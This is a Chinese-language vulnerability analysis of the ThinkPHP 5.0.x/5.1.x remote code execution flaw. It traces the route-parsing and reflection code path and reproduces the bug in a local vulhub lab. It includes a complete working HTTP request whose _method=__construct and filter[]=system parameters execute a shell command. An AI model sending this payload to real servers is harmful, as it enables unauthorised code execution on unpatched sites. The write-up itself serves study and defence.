漏洞介绍

ThinkPHP5.0.23版本的漏洞:获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

漏洞范围

Thinkphp 5.1.0 - 5.1.31

Thinkphp 5.0.5 - 5.0.23

漏洞靶场

使用vulhub的靶场

1
docker-compose up -d

漏洞原理

图片2.png

/thinkphp/library/think/App.php#L120

我们可以看到通过self::routerCheck函数进行路由检测

图片3.png

/thinkphp/library/think/App.php#L622-L663

我们可以看到又进入$request->path()函数

图片4.png

/thinkphp/library/think/Request.php#L433-L450

进入pathinfo()函数,继续追踪到384行

图片5.png

/thinkphp/library/think/Request.php#L401-L426

Config::get(‘var_pathinfo’)是配置文件中的设置的参数,默认值为s,从GET中获取键值,然后赋值给routeCheck中的$path

图片6.png

我们再回到App.php

图片7.png

/thinkphp/library/think/App.php#L622-L663

这里会进行路由检测,检查$check后会进入else分支导入路由配置,接着检测路由url调度结果为$result,如果调度失败且开启了强制路由$must,则报出路由无效,接着进入Route::parseUrl函数,根据$path(自定义url)解析操作

开始跟踪parseUrl函数

图片8.png

/thinkphp/library/think/Route.php#L1217-L1276

进入parseUrlPath函数

图片9.png

/thinkphp/library/think/Route.php#L1284-L1302

这里我们可以看到对模块/控制器/操作的url地址分割成数组来返回,行数:1217

图片10.png

图片11.png

/thinkphp/library/think/Route.php#L1217-L1276

我们可以看到,返回的结果赋值为$path,提取路由信息又封装到$route,最后返回

图片12.png

thinkphp/library/think/App.php#L120

进入self::exec函数

图片13.png

/thinkphp/library/think/App.php#L445-L483

我们可以看到模块/控制器/操作 的函数为self::module

开始跟踪module函数

图片14.png图片15.png

我们可以看到,根据$config[‘app_multi_module’]进入多模块部署,$bind为NULL,又进入elseif分支,判断模块是否在禁止的列表里面$config[‘deny_module_list’],而且mmodule存在,$available = true,就不会抛出异常

module函数最后的返回值,发现$controller没有进行过滤,那么此时应该为think\app,也就是return self::invokeMethod($call, $vars);

图片16.png

/thinkphp/library/think/App.php#L494-L612

进入self::invokeMethod函数

图片17.png

/thinkphp/library/think/App.php#L329-L344

此时穿进去的$call也就是$method,是一个数组,第一个元素是一个think\App对象,第二个元素则是调用方法名称的字符串invokefunction,然后通过反射ReflectionMethod获取这个对象下对应的方法
再通过函数$args = self::bindParams($reflect, $vars);获取传入的参数,也就是payload

最后再调用反射$reflect->invokeArgs($args);,将Payload数组传入反射对象函数invokeFunction,完成代码执行。

image-20250225155504290

/thinkphp/library/think/App.php#L311-L320

漏洞复现

访问http://127.0.0.1:8080/进入靶场页面

image-20250225154529812

发送数据包:

1
2
3
4
5
6
7
8
9
10
11
POST /index.php?s=captcha HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

成功执行id命令:

image-20250225154700356

参考

https://blog.csdn.net/weixin_44971640/article/details/128495915

https://www.freebuf.com/articles/people/227527.html